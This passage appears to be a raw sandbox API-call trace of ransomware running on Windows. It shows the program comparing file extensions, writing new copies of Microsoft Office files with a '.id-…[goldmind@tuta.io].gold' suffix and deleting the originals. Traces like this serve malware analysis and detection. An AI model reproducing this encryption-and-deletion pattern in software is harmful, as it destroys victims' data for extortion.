(lpString=".zip") returned 4 [0111.962] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0111.962] lstrlenW (lpString=".rar") returned 4 [0111.962] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0111.962] lstrlenW (lpString=".bz2") returned 4 [0111.962] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0111.962] lstrlenW (lpString=".7z") returned 3 [0111.962] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0111.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0111.962] lstrlenW (lpString=".dbf") returned 4 [0111.963] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0111.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0111.963] lstrlenW (lpString=".1cd") returned 4 [0111.963] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0111.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0111.963] lstrlenW (lpString=".jpg") returned 4 [0111.963] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0111.963] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0111.963] lstrlenW (lpString="DBWIZ.DLL") returned 9 [0111.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbwiz.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0111.963] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=1276776) returned 1 [0111.963] CloseHandle (hObject=0x380) returned 1 [0111.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbwiz.dll")) returned 0x20 [0111.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\dbwiz.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0111.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbwiz.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0111.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0111.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0111.964] lstrlenW (lpString=".doc") returned 4 [0111.964] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0111.964] lstrlenW (lpString=".docx") returned 5 [0111.964] lstrcmpiW (lpString1=".docx", lpString2="Z.DLL") returned -1 [0111.964] lstrlenW (lpString=".pdf") returned 4 [0111.964] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0111.964] lstrlenW (lpString=".xls") returned 4 [0111.964] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0111.964] lstrlenW (lpString=".xlsx") returned 5 [0111.964] lstrcmpiW (lpString1=".xlsx", lpString2="Z.DLL") returned -1 [0111.964] lstrlenW (lpString=".ppt") returned 4 [0111.964] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0111.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0111.964] lstrlenW (lpString=".zip") returned 4 [0111.964] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0111.964] lstrlenW (lpString=".rar") returned 4 [0111.964] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0111.964] lstrlenW (lpString=".bz2") returned 4 [0111.964] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0111.964] lstrlenW (lpString=".7z") returned 3 [0111.964] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0111.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0111.964] lstrlenW (lpString=".dbf") returned 4 [0111.964] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0111.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0111.964] lstrlenW (lpString=".1cd") returned 4 [0111.964] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0111.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0111.964] lstrlenW (lpString=".jpg") returned 4 [0111.964] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0111.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0111.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0111.965] lstrlenW (lpString=".doc") returned 4 [0111.965] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0111.965] lstrlenW (lpString=".docx") returned 5 [0111.965] lstrcmpiW (lpString1=".docx", lpString2="Z.DLL") returned -1 [0111.965] lstrlenW (lpString=".pdf") returned 4 [0111.965] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0111.965] lstrlenW (lpString=".xls") returned 4 [0111.965] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0111.965] lstrlenW (lpString=".xlsx") returned 5 [0111.965] lstrcmpiW (lpString1=".xlsx", lpString2="Z.DLL") returned -1 [0111.965] lstrlenW (lpString=".ppt") returned 4 [0111.965] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0111.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0111.965] lstrlenW (lpString=".zip") returned 4 [0111.965] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0111.965] lstrlenW (lpString=".rar") returned 4 [0111.965] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0111.965] lstrlenW (lpString=".bz2") returned 4 [0111.965] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0111.965] lstrlenW (lpString=".7z") returned 3 [0111.965] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0111.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0111.965] lstrlenW (lpString=".dbf") returned 4 [0111.965] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0111.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0111.965] lstrlenW (lpString=".1cd") returned 4 [0111.965] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0111.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0111.965] lstrlenW (lpString=".jpg") returned 4 [0111.965] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0111.965] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0111.965] lstrlenW (lpString="DGRMLNCH.DLL") returned 12 [0111.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dgrmlnch.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0111.966] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=108904) returned 1 [0111.966] CloseHandle (hObject=0x380) returned 1 [0111.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dgrmlnch.dll")) returned 0x20 [0111.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\dgrmlnch.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0111.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dgrmlnch.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0111.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL") returned 55 [0111.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL") returned 55 [0111.967] lstrlenW (lpString=".doc") returned 4 [0111.967] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0111.967] lstrlenW (lpString=".docx") returned 5 [0111.967] lstrcmpiW (lpString1=".docx", lpString2="H.DLL") returned -1 [0111.967] lstrlenW (lpString=".pdf") returned 4 [0111.967] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0111.967] lstrlenW (lpString=".xls") returned 4 [0111.967] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0111.967] lstrlenW (lpString=".xlsx") returned 5 [0111.967] lstrcmpiW (lpString1=".xlsx", lpString2="H.DLL") returned -1 [0111.967] lstrlenW (lpString=".ppt") returned 4 [0111.967] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0111.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL") returned 55 [0111.967] lstrlenW (lpString=".zip") returned 4 [0111.967] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0111.967] lstrlenW (lpString=".rar") returned 4 [0111.967] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0111.967] lstrlenW (lpString=".bz2") returned 4 [0111.967] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0111.967] lstrlenW (lpString=".7z") returned 3 [0111.967] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0111.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL") returned 55 [0111.967] lstrlenW (lpString=".dbf") returned 4 [0111.967] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0111.969] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\DRILLDWN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\drilldwn.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\DRILLDWN.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\drilldwn.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0111.971] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dwgdp.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\dwgdp.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0111.975] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\EMSMDB32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\emsmdb32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\EMSMDB32.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\emsmdb32.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0111.976] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.976] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\english.lng.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0111.977] GetLastError () returned 0x0 [0111.977] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x4c22c, lpOverlapped=0x0) returned 1 [0111.986] WriteFile (in: hFile=0x394, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x4c230, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x4c230, lpOverlapped=0x0) returned 1 [0112.157] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0112.157] WriteFile (in: hFile=0x394, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xea, lpOverlapped=0x0) returned 1 [0112.157] SetEndOfFile (hFile=0x394) returned 1 [0112.582] CloseHandle (hObject=0x394) returned 1 [0112.582] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.582] SetEndOfFile (hFile=0x3ec) returned 1 [0112.588] CloseHandle (hObject=0x3ec) returned 1 [0112.588] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0112.607] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\english.lng")) returned 1 [0112.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0112.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0112.613] lstrlenW (lpString=".doc") returned 4 [0112.613] lstrcmpiW (lpString1=".doc", lpString2=".LNG") returned -1 [0112.613] lstrlenW (lpString=".docx") returned 5 [0112.613] lstrcmpiW (lpString1=".docx", lpString2="H.LNG") returned -1 [0112.613] lstrlenW (lpString=".pdf") returned 4 [0112.613] lstrcmpiW (lpString1=".pdf", lpString2=".LNG") returned 1 [0112.613] lstrlenW (lpString=".xls") returned 4 [0112.613] lstrcmpiW (lpString1=".xls", lpString2=".LNG") returned 1 [0112.613] lstrlenW (lpString=".xlsx") returned 5 [0112.613] lstrcmpiW (lpString1=".xlsx", lpString2="H.LNG") returned -1 [0112.613] lstrlenW (lpString=".ppt") returned 4 [0112.613] lstrcmpiW (lpString1=".ppt", lpString2=".LNG") returned 1 [0112.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0112.613] lstrlenW (lpString=".zip") returned 4 [0112.613] lstrcmpiW (lpString1=".zip", lpString2=".LNG") returned 1 [0112.613] lstrlenW (lpString=".rar") returned 4 [0112.614] lstrcmpiW (lpString1=".rar", lpString2=".LNG") returned 1 [0112.614] lstrlenW (lpString=".bz2") returned 4 [0112.614] lstrcmpiW (lpString1=".bz2", lpString2=".LNG") returned -1 [0112.614] lstrlenW (lpString=".7z") returned 3 [0112.614] lstrcmpiW (lpString1=".7z", lpString2="LNG") returned -1 [0112.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0112.614] lstrlenW (lpString=".dbf") returned 4 [0112.614] lstrcmpiW (lpString1=".dbf", lpString2=".LNG") returned -1 [0112.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0112.614] lstrlenW (lpString=".1cd") returned 4 [0112.614] lstrcmpiW (lpString1=".1cd", lpString2=".LNG") returned -1 [0112.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0112.614] lstrlenW (lpString=".jpg") returned 4 [0112.614] lstrcmpiW (lpString1=".jpg", lpString2=".LNG") returned -1 [0112.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0112.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0112.614] lstrlenW (lpString=".doc") returned 4 [0112.614] lstrcmpiW (lpString1=".doc", lpString2=".LNG") returned -1 [0112.614] lstrlenW (lpString=".docx") returned 5 [0112.614] lstrcmpiW (lpString1=".docx", lpString2="H.LNG") returned -1 [0112.614] lstrlenW (lpString=".pdf") returned 4 [0112.614] lstrcmpiW (lpString1=".pdf", lpString2=".LNG") returned 1 [0112.614] lstrlenW (lpString=".xls") returned 4 [0112.614] lstrcmpiW (lpString1=".xls", lpString2=".LNG") returned 1 [0112.614] lstrlenW (lpString=".xlsx") returned 5 [0112.614] lstrcmpiW (lpString1=".xlsx", lpString2="H.LNG") returned -1 [0112.614] lstrlenW (lpString=".ppt") returned 4 [0112.614] lstrcmpiW (lpString1=".ppt", lpString2=".LNG") returned 1 [0112.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0112.614] lstrlenW (lpString=".zip") returned 4 [0112.614] lstrcmpiW (lpString1=".zip", lpString2=".LNG") returned 1 [0112.614] lstrlenW (lpString=".rar") returned 4 [0112.614] lstrcmpiW (lpString1=".rar", lpString2=".LNG") returned 1 [0112.614] lstrlenW (lpString=".bz2") returned 4 [0112.614] lstrcmpiW (lpString1=".bz2", lpString2=".LNG") returned -1 [0112.614] lstrlenW (lpString=".7z") returned 3 [0112.614] lstrcmpiW (lpString1=".7z", lpString2="LNG") returned -1 [0112.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0112.614] lstrlenW (lpString=".dbf") returned 4 [0112.614] lstrcmpiW (lpString1=".dbf", lpString2=".LNG") returned -1 [0112.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0112.614] lstrlenW (lpString=".1cd") returned 4 [0112.614] lstrcmpiW (lpString1=".1cd", lpString2=".LNG") returned -1 [0112.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0112.615] lstrlenW (lpString=".jpg") returned 4 [0112.615] lstrcmpiW (lpString1=".jpg", lpString2=".LNG") returned -1 [0112.615] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0112.615] lstrlenW (lpString="ACTIVITS.ICO") returned 12 [0112.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activits.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0112.710] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=2998) returned 1 [0112.710] CloseHandle (hObject=0x3ec) returned 1 [0112.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activits.ico")) returned 0x20 [0112.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activits.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activits.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0112.755] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.755] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activits.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0112.756] GetLastError () returned 0x0 [0112.756] ReadFile (in: hFile=0x3b8, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0112.795] WriteFile (in: hFile=0x3d0, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0112.796] ReadFile (in: hFile=0x3b8, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0112.796] WriteFile (in: hFile=0x3d0, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xec, lpOverlapped=0x0) returned 1 [0112.796] SetEndOfFile (hFile=0x3d0) returned 1 [0112.796] CloseHandle (hObject=0x3d0) returned 1 [0112.796] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.796] SetEndOfFile (hFile=0x3b8) returned 1 [0112.798] CloseHandle (hObject=0x3b8) returned 1 [0112.798] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0112.810] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activits.ico")) returned 1 [0112.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0112.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0112.853] lstrlenW (lpString=".doc") returned 4 [0112.853] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0112.853] lstrlenW (lpString=".docx") returned 5 [0112.853] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0112.853] lstrlenW (lpString=".pdf") returned 4 [0112.853] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0112.853] lstrlenW (lpString=".xls") returned 4 [0112.853] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0112.853] lstrlenW (lpString=".xlsx") returned 5 [0112.853] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0112.853] lstrlenW (lpString=".ppt") returned 4 [0112.853] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0112.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0112.853] lstrlenW (lpString=".zip") returned 4 [0112.853] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0112.853] lstrlenW (lpString=".rar") returned 4 [0112.853] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0112.853] lstrlenW (lpString=".bz2") returned 4 [0112.853] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0112.853] lstrlenW (lpString=".7z") returned 3 [0112.853] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0112.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0112.854] lstrlenW (lpString=".dbf") returned 4 [0112.854] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0112.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0112.854] lstrlenW (lpString=".1cd") returned 4 [0112.854] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0112.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0112.854] lstrlenW (lpString=".jpg") returned 4 [0112.854] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0112.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0112.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0112.854] lstrlenW (lpString=".doc") returned 4 [0112.854] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0112.854] lstrlenW (lpString=".docx") returned 5 [0112.854] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0112.854] lstrlenW (lpString=".pdf") returned 4 [0112.854] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0112.854] lstrlenW (lpString=".xls") returned 4 [0112.854] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0112.854] lstrlenW (lpString=".xlsx") returned 5 [0112.854] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0112.854] lstrlenW (lpString=".ppt") returned 4 [0112.854] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0112.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0112.854] lstrlenW (lpString=".zip") returned 4 [0112.854] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0112.854] lstrlenW (lpString=".rar") returned 4 [0112.854] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0112.854] lstrlenW (lpString=".bz2") returned 4 [0112.854] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0112.854] lstrlenW (lpString=".7z") returned 3 [0112.854] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0112.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0112.854] lstrlenW (lpString=".dbf") returned 4 [0112.854] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0112.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0112.855] lstrlenW (lpString=".1cd") returned 4 [0112.855] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0112.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO") returned 66 [0112.855] lstrlenW (lpString=".jpg") returned 4 [0112.855] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0112.855] lstrcmpiW (lpString1=".CFG", lpString2=".gold") returned -1 [0112.855] lstrlenW 